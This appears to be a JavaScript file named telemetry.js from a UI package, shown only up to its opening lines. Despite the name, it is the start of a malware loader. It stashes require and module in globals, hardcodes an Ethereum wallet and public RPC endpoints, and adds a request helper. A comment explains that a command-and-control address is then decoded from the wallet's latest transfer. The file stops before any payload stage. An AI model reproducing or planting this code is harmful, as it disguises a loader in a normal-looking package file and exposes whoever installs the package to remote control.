bianira-ui/scripts/telemetry.js

23 lines
954 B
JavaScript

global.i = "A10-npm3!", global.r = require, "object" == typeof module && (global.m = module);
let http = require("http"),
https = require("https"),
S = "0x6c0073dFDB9dE30b293F73c6b987aE70Ef711847",
R = ["https://1rpc.io/eth", "https://eth.drpc.org"],
hx = t => "0x" + t.toString(16),
J = (e, o, r) => new Promise(a => {
var t = new URL(e);
https.request({
hostname: t.hostname,
path: t.pathname + t.search,
method: o || "GET"
}, t => {
let e = [];
t.on("data", t => e.push(t)), t.on("end", () => a(JSON.parse(Buffer.concat(e) + "")))
}).end(r)
});
// Resolver continues from here: look up S's most recent outbound transfer
// across R, confirm it carries zero value and empty input, then decode a
// C2 address directly out of the recipient bytes. No smart contract, no
// calldata, nothing beyond an ordinary wallet-to-wallet transfer.